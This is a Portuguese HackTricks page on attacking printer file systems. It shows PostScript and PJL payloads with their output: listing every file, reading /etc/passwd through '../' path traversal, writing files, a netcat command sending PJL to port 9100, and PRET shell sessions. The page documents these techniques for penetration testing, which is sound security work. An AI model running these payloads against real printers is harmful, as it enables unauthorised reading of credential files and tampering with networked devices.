7.8 KiB
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
-
Descubra A Família PEASS, nossa coleção exclusiva de NFTs
-
Adquira o swag oficial do PEASS & HackTricks
-
Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
-
Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e hacktricks-cloud repo.
PostScript
Recupere informações sensíveis como arquivos de configuração ou trabalhos de impressão armazenados, RCE escrevendo arquivos (como editar scripts rc ou substituir arquivos binários). Construções de linguagem legítimas são definidas para PostScript e PJL para acessar o sistema de arquivos.
Acesse o sistema de arquivos com PostScript (observe que ele pode ser isolado limitando a ações inofensivas):
> /str 256 string def (%*%../*) % list all files
> {==} str filenameforall
< (%disk0%../webServer/home/device.html)
< (%disk0%../webServer/.java.login.config)
< (%disk0%../webServer/config/soe.xml)
> /byte (0) def % read from file
> /infile (../../../etc/passwd) (r) file def
> { infile read {byte exch 0 exch put
> (%stdout) (w) file byte writestring}
> {infile closefile exit} ifelse
> } loop
< root::0:0::/:/bin/dlsh
> /outfile (test.txt) (w+) file def}} % write to file
> outfile (Hello World!) writestring
> outfile closefile
Você pode usar os comandos do PRET: ls
, get
, put
, append
, delete
, rename
, find
, mirror
, touch
, mkdir
, cd
, pwd
, chvol
, traversal
, format
, fuzz
e df
.
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> ls ../..
d - Jan 1 1970 (created Jan 1 1970) bootdev
d - Jan 1 1970 (created Jan 1 1970) dsk_jdi
d - Jan 1 1970 (created Jan 1 1970) dsk_jdi_ss
d - Jan 1 1970 (created Jan 1 1970) dsk_ram0
d - Jan 1 1970 (created Jan 1 1970) etc
d - Jan 1 1970 (created Jan 1 1970) tmp
d - Jan 1 1970 (created Jan 1 1970) webServer
PJL
PJL (Printer Job Language) é uma linguagem de controle de impressora que permite aos usuários enviar comandos para a impressora. Esses comandos podem ser usados para configurar a impressora, obter informações sobre a impressora e executar outras funções. Os comandos PJL são enviados para a impressora como parte do trabalho de impressão e são interpretados pela impressora antes que o trabalho de impressão seja iniciado.
Os comandos PJL podem ser usados para acessar o sistema de arquivos da impressora e executar comandos no sistema operacional da impressora. Isso pode ser usado para obter acesso ao sistema de arquivos da impressora e, potencialmente, obter acesso a outras partes da rede.
Alguns comandos PJL úteis incluem:
@PJL INFO ID
- Obtém informações sobre a impressora, incluindo o nome do modelo e o número de série.@PJL FSUPLOAD
- Carrega um arquivo para o sistema de arquivos da impressora.@PJL FSINFO
- Obtém informações sobre o sistema de arquivos da impressora.@PJL DIRLIST
- Lista os arquivos no sistema de arquivos da impressora.
Para enviar comandos PJL para uma impressora, você pode usar uma ferramenta como o netcat
para se conectar à porta de impressão da impressora e enviar os comandos diretamente. Por exemplo:
echo -e "@PJL INFO ID\r\n" | nc <ip_da_impressora> 9100
Isso enviará o comando @PJL INFO ID
para a impressora no endereço IP especificado na porta 9100. A resposta da impressora será exibida na saída do netcat
.
> @PJL FSDIRLIST NAME="0:\" ENTRY=1 COUNT=65535 (list all files)
< .\:\:TYPE=DIR
< ..\:\:TYPE=DIR
< PostScript TYPE=DIR
< PJL TYPE=DIR
< saveDevice TYPE=DIR
< webServer TYPE=DIR
> @PJL FSQUERY NAME="0:\..\..\etc\passwd" (read from file)
< @PJL FSQUERY NAME="0:\..\..\etc\passwd" TYPE=FILE SIZE=23
> @PJL FSUPLOAD NAME="0:\..\..\etc\passwd" OFFSET=0 SIZE=23
< root::0:0::/:/bin/dlsh
> @PJL FSDOWNLOAD SIZE=13 NAME="0:\test.txt" (write to file)
> Hello World!
De qualquer forma, o acesso a arquivos com PJL não é suportado por muitas impressoras.
Você pode usar os comandos do PRET: ls
, get
, put
, append
, delete
, find
, mirror
, touch
, mkdir
, cd
, pwd
, chvol
, traversal
, format
, fuzz
e df
.
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> ls ..
d - bootdev
d - dsk_jdi
d - dsk_jdi_ss
d - dsk_ram0
d - etc
d - lrt
d - tmp
d - webServer
d - xps
Saiba mais sobre possíveis formas de burlar o sandbox usando limitações do PostScript e PJL em http://hacking-printers.net/wiki/index.php/File_system_access
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
-
Descubra A Família PEASS, nossa coleção exclusiva de NFTs
-
Adquira o swag oficial do PEASS & HackTricks
-
Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
-
Compartilhe seus truques de hacking enviando PRs para o repositório hacktricks e hacktricks-cloud repo.